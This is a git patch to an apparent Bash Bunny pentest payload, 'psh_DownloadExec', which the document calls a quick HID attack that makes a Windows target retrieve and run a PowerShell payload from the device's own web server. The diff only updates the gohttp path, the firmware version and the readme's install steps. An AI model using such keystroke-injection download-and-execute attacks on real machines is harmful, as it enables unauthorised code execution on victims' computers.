From 9eed215260089239c76d9ca59773972a4350eef7 Mon Sep 17 00:00:00 2001 From: hink Date: Wed, 17 May 2017 18:55:02 -0500 Subject: [PATCH] Update psh_downloadexec to use proper gohttp path (#219) --- .../execution/psh_DownloadExec/payload.txt | 4 ++-- .../library/execution/psh_DownloadExec/readme.md | 16 +++------------- 2 files changed, 5 insertions(+), 15 deletions(-) diff --git a/payloads/library/execution/psh_DownloadExec/payload.txt b/payloads/library/execution/psh_DownloadExec/payload.txt index 33ddf216..e0e55353 100644 --- a/payloads/library/execution/psh_DownloadExec/payload.txt +++ b/payloads/library/execution/psh_DownloadExec/payload.txt @@ -6,7 +6,7 @@ # Category: Powershell # Target: Windows XP SP3+ (Powershell) # Attackmodes: HID, RNDIS_ETHERNET -# Firmware: >= 1.2 +# Firmware: >= 1.3 # # Quick HID attack to retrieve and run powershell payload from BashBunny web server - ensure psh.txt exists in payload directory # @@ -34,7 +34,7 @@ REQUIRETOOL gohttp # Start web server iptables -A OUTPUT -p udp --dport 53 -j DROP # disallow outgoing dns requests so server starts immediately -/tools/gohttp/gohttp -p 80 -d $PAYLOAD_DIR > $SERVER_LOG 2>&1 & +/usr/bin/gohttp -p 80 -d $PAYLOAD_DIR > $SERVER_LOG 2>&1 & # Check for psh.txt if [ ! -f $PAYLOAD_DIR/psh.txt ]; then diff --git a/payloads/library/execution/psh_DownloadExec/readme.md b/payloads/library/execution/psh_DownloadExec/readme.md index a4d19ed0..5d96fd13 100644 --- a/payloads/library/execution/psh_DownloadExec/readme.md +++ b/payloads/library/execution/psh_DownloadExec/readme.md @@ -2,11 +2,11 @@ ## Powershell Download and Execute * Author: LowValueTarget -* Version: Version 1.2 +* Version: Version 1.3 * Target: Windows XP SP3+ (Powershell) * Category: Powershell * Attackmodes: HID, RNDIS_Ethernet -* Firmware: >= 1.2 +* Firmware: >= 1.3 ## Description @@ -24,17 +24,7 @@ gohttp is a standalone simple webserver that is quicker and more stable than pyt __Installation__ -Assuming you have Golang Installed (https://golang.org/dl/) - -``` -go get -u github.com/itang/gohttp -cd $GOPATH/src/github.com/itang/gohttp -GOOS=linux GOARCH=arm go build -mkdir $HOME/gohttp -mv gohttp $HOME/gohttp/ -``` - -Then copy the gohttp folder in your home directory to the BashBunny /tools/ folder. +See Hak5's Tool Thread Here: https://forums.hak5.org/index.php?/topic/40971-info-tools/ ## STATUS ```